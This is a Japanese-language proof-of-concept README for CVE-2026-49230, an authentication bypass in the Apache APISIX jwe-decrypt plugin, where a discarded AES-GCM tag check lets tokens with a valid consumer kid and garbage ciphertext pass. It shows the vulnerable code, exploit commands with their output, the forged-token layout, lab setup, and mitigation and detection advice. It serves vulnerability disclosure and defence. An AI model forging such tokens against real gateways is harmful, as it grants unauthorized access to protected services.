
PoC for CVE-2026-49230: Apache APISIX jwe-decrypt 認証バイパス(AES-GCMタグ検証の欠落、CWE-354、CVSS 9.1)
jwe-decrypt 認証バイパスApache APISIX jwe-decrypt プラグインにおける認証バイパスの概念実証です。このプラグインは JWE トークンを復号し、その平文をアップストリームに転送して認証ゲートとして機能しますが、AES-GCM 認証タグをまったく検証しません。有効なコンシューマ kid を持つだけのトークンは、暗号文やタグがどんなに偽物でも受け入れられるため、正当なトークンのヘッダーに平文で含まれるコンシューマキーを知っている攻撃者は、AES 秘密鍵を知らなくても ゲートを通過できます。
| CVE | CVE-2026-49230 |
| Product | Apache APISIX(jwe-decrypt プラグイン) |
| Affected | 3.8.0 – 3.16.0 |
| Fixed | 3.17.0 |
| Class | CWE-354 — 完全性チェック値の不適切な検証 |
| CVSS 3.1 | 9.1(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Auth | 認証不要(有効なコンシューマ kid が必要。秘密鍵は不要) |
| Published | 2026-06-19 |
| Status | 確認済み — 3.16.0 でエンドツーエンド再現、3.17.0 で拒否 |
apisix/plugins/jwe-decrypt.lua (tag 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() は GCM 認証タグが一致しない場合に nil を返しますが、その戻り値は破棄され、呼び出し元は存在しない err を検査します。err は常に nil です。したがって、完全性チェックは決して実施されません。解決可能な kid を持つ JWE はすべて認証されます。AES 秘密鍵 (攻撃者が持つべきでない唯一のもの) は実際には必要ありません。
3.17.0 での修正では、エラーを伝搬し (return decrypted, err)、ガードを if not plaintext then return 400 に切り替えています。同じ修正で、プラグインの公開 GET /apisix/plugin/jwe/encrypt トークン発行 API も削除されています。
完全なコードレベルのウォークスルーについては ANALYSIS.md を参照してください。
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
偽造トークンは base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag です。ヘッダー(有効な kid を含む)のみが重要であり、それ以降は攻撃者が選んだゴミデータです。
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
この環境には Docker ブリッジがないため、ラボでは --network host を使用しています(etcd は :2379、APISIX データプレーンは :9080、管理は :9180、バックエンドは :8080)。
GCM 完全性チェック以外のすべての制御は実施されており、同じ偽造トークンが修正境界をまたいで 200 から 400 に変わります。バイパスは特に欠落している完全性検証によるものであり、ルートの設定ミスではありません。完全なトランスクリプトは EVIDENCE.txt にあります。
認証のために APISIX の jwe-decrypt ゲートを信頼している任意のアップストリームは、単一の有効なコンシューマ kid を持つ認証されていない攻撃者によって到達される可能性があります。有効な kid は正当に発行されたすべてのトークンの JWE ヘッダー内に平文で公開されるため、1 つのキャプチャまたは漏洩したトークン、あるいは推測可能なコンシューマキーで、無制限に受け入れられるトークンを偽造し、ゲートウェイの認証境界をバイパスすることができます。
jwe-decrypt を唯一の認証制御として依存しないでください。独立した認証プラグイン(例:key-auth/jwt-auth)や、転送された ID を検証するアップストリームチェックを追加で配置してください。jwe-decrypt を通じて認証しながらも、空または欠落した ID ヘッダーをアップストリームに転送するリクエスト(復号が暗黙的に nil を生成)は強力なシグナルです。ゲートウェイを通過する Authorization: Bearer <jwe> リクエストで、アップストリームが使用可能な転送ヘッダーを受信しないものを監視してください。
研究および PoC 提供: Caio Fabrício (@BiiTts).
MIT — LICENSE を参照してください。
| リクエスト | 3.16.0(脆弱) | 3.17.0(修正済み) |
|---|
| トークンなし | 403 missing JWE token | — |
| 不正なトークン(5 部未満) | 400 JWE token invalid | — |
無効な kid + 無意味な暗号文 | 400 invalid kid | — |
有効な kid + 無意味な暗号文 | 200 アップストリーム到達 | 400 failed to decrypt |